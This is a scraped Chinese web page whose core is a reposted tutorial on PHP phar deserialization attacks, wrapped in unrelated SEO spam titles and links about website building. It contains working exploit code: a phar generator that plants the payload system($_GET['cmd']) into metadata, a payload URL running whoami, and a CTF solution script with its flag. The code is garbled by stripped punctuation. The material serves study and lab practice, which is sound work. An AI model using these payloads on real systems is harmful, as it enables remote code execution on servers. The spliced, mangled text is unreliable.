当前位置: 首页 > news >正文

网站建设费用固定资产怎么入建立品牌网站的

网站建设费用固定资产怎么入,建立品牌网站的,2022可以用手机看的,百度推广登录后台登录入口Web渗透—反序列化 课程学习分享#xff08;课程非本人制作#xff0c;仅提供学习分享#xff09; 靶场下载地址#xff1a;GitHub - mcc0624/php_ser_Class: php反序列化靶场课程#xff0c;基于课程制作的靶场 课程地址#xff1a;PHP反序列化漏洞学习_哔哩哔_…Web渗透—反序列化        课程学习分享课程非本人制作仅提供学习分享 靶场下载地址GitHub - mcc0624/php_ser_Class: php反序列化靶场课程基于课程制作的靶场 课程地址PHP反序列化漏洞学习_哔哩哔_bilibili 二十一、phar反序列化原理 1.什么是phar JAR是开发Java程序的一个应用包括所有的可执行、可访问的文件都打包进了一个JAR文件里使得部署过程十分简单。 PHAR(“Php ARchive”)是PHP里类似于JAR的一种打包文件。 对于PHP 5.3或更高版本Phar后缀文件是默认开启支持的可以直接使用它。 文件包含phar伪协议可读取.phar文件。 Phar的结构: 1stub phar        文件标识格式为xxx?php xxx;__HALT_COMPILER();?; (头部信息) 2manifset        压缩文件的属性等信息以序列化存储 3contents        压缩文件的内容 4signature        签名放在文件末尾 Phar协议解析文件时会自动触发对manifest字段的序列化字符串进行反序列化 压缩: ?php $phar new Phar(test2.phar,0,test2.phar); //创建一个test2.phar文件 $phar-buildfromDirectory(f:\0Day); //添加0Day文件夹内的所有文件添加到test2.phar文件中 $phar-setDefaultStub(test.txt,test.txt); //设置执行时的入口文件第一个用于命令行第二个用于浏览器访问这里都设置为test.txt ? new Phar可以创建一个 PHAR 文件对象在例题中传入了三个参数文件名、文件的压缩模式0 表示不压缩以及 PHAR 文件内部的别名可选。 buildfromDirectory方法的作用是将指定目录中的文件添加到 PHAR 文件中。它会递归地遍历目录下的所有文件和子目录并将它们添加到 PHAR 文件的内容中 setDefaultStub方法的作用是设置 PHAR 文件的默认入口点。入口点是指在执行 PHAR 文件时首先执行的文件或脚本。 解压缩: ?php $phar new Phar(test.phar); $phar-extractTo(test); //将PHAR文件中的内容提取到指定的目录test ? extractTo方法的作用是将 PHAR 文件中的内容提取到指定的目录。它接受一个参数即目标目录的路径将 PHAR 文件中的所有文件和目录提取到该目录中。 2.Phar漏洞原理 manifset压缩文件的属性等信息以序列化存储存在一段序列化的字符串 调用phar伪协议可读取 .phar 文件 Phar协议解析文件时会自动触发对manifest字段的序列化字符串进行反序列化。 Phar需要PHP5.2在php.ini中将phar.readonly设为Off注意去掉前面的分号 受影响的函数 fileatime filectime file_exists file_get_contents file_put_contents file filegroup fopen fileinode filemtime fileowner fileperms is_dir is_executable is_file is_link is_readable is_writable is_writeable parse_ini_file copy unlink stat readfile 3.漏洞实验验证 index.php ?php class Testobj{var $outputecho ok;;function __destruct(){ //反序列化Testobj触发__destruct()调用output值eval($this-output);} } if(isset($_GET[filename])){$filename$_GET[filename]; //提交文件名filenamefile_exists读取文件var_dump(file_exists($filename)); //检查文件是否存在 } ? file_exists有文件包含功能可调用phar伪协议读取test.phar phar.php ?php class Testobj{var $output; } unlink(test.phar); //删除之前的test.phar文件(如果有) $pharnew Phar(test.phar); //创建一个phar对象文件名必须以phar为后缀 $phar-startBuffering(); //开始写文件 $phar-setStub(?php __HALT_COMPILER(); ?); //写入stub $onew Testobj(); $o-outputsystem($_GET[cmd]);; $phar-setMetadata($o); //写入meta-data $phar-addFromString(test.txt,test); //添加要压缩的文件 $phar-stopBuffering(); ? 注意需要PHP5.2在php.ini中将phar.readonly设为Off 思路  1生成phar文件test.phar给其中output赋值为system($_GET[cmd]); 2Phar协议解析文件时会自动触发manifest字段的序列化字符串进行反序列化 3反序列化触发__destruct()执行eval($this-output); 4而反序列化后outputsystem($_GET[cmd]);cmd的值变得可控 5构造payloadURL?filenamephar://test.pharcmdwhoami 4.Phar漏洞条件 1phar文件能上传到服务器端 (可手动修改后缀不识别后缀名) 2要有可用反序列化魔术方法作为跳板 (需要有__wakeup()、__destruct()魔术方法) 3要有文件操作函数; (如file_exosts($filename)fopen()file_get_contents()) 4文件操作函数参数可控且 :、/、phar 等特殊字符没有被过滤 二十二、phar反序列化例题 1.实例代码 目标输出flag ?php class TestObject {public function __destruct() { //反序列化TestObject()触发__destruct执行echo $flaginclude(flag.php);echo $flag;} } $filename $_POST[file]; //通过POST提交file赋值$filename if (isset($filename)){ //判断是否有$filename值传递echo md5_file($filename); //计算文件的MD5值 } //upload.php ? md5_file()是一个PHP内置函数用于计算指定文件的MD5值 根据例题中的提示我们发现了upload.php页面可以进行文件上传 判断是否具有Phar漏洞条件 1phar文件能上传到服务器端 /upload.php 2要有可反序列化魔术方法作为跳板 __destruct() 3要有文件操作函数 md5_file 4文件操作函数参数可控 $POST[file] 2.解题代码 ?php class TestObject{ } unlink(test.phar);        //删除之前的test.phar文件(如果有) $pharnew Phar(test.phar);    //创建一个phar对象文件名必须以phar为后缀 $phar-startBuffering();        //开始写文件 $phar-setStub(?php __HALT_COMPILER(); ?);     //写入stub $onew TestObject(); $phar-setMetadata($o);                 //写入meta-data $phar-addFromString(test.txt,test);        //添加要压缩的文件 $phar-stopBuffering(); ?利用php脚本创建一个phar文件其中 mate-data 里放置一个包含TestObject()的序列化字符串 3.解题步骤 1生产一个phar文件在mate-data里放置一个包含TestObject的序列化字符串 2上传文件需要更改文件后缀为图片png格式进行绕过并得到上传文件存放目录 3利用POST传参和phar伪协议传递phar文件路径md5_file执行phar伪协议触发反序列化 4反序列化TestObject触发__destruct()执行echo $flag得到flag。 ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}
http://www.huolong8.cn/news/69150/

相关文章:

  • 网站建设动态网站推广问题
  • 备案成功的网站杭州网络科技设计中心
  • 自助房申请网站wordpress在评论框中加文字
  • 休闲咖啡厅网站开发目标初二信息课网站怎么做
  • 网站开发外贸网网站建设的公司
  • 网站建设哪家好 北京理发培训专业学校
  • 搭建网站需要哪些东西企业服务有哪些内容
  • 十年经验网站开发公司微信主题wordpress
  • 湖北网站建设报价便宜电商网站建设
  • 网站后台上传表格简述网站开发具体流程图
  • 网站wordpress入侵今天广州新闻最新消息
  • 农业推广网站建设无锡建网站
  • 单职业传奇网站wordpress 创建分类
  • 男女做爰视频免费网站平面设计培训班课程
  • dw+如何做自适应网站安徽省建设工程安全协会网站
  • asp网站开发的背景与环境免费招聘模板下载
  • 网站建设价格标准新闻小程序启动失败 错误码
  • 怎样下载网站模版怎么运用区块链做网站
  • 免费网站注册免费创建网站网站内页301重定向
  • 长宁企业网站制作做网站公奇闻司郑州汉狮
  • 淘宝上面建设网站安全么8步快速搭建个人网站视频
  • 网站备案号在哪里查询企业所得税政策最新2023税率
  • 广西壮锦网站建设策划书网络外包服务公司
  • 购买网站空间ftp设计淮南市招标投标信息网
  • 宁波网站扔优化那个网站做外贸好
  • 四川省建筑信息网长春seo经理
  • 网站建设齐齐哈尔开发网站实时监控
  • 北京轨道交通建设管理有限公司网站文字图片在线制作生成
  • 外贸出口公司网站建设方案一元友情链接平台
  • 网站备案密码格式做网站现在可以挣钱吗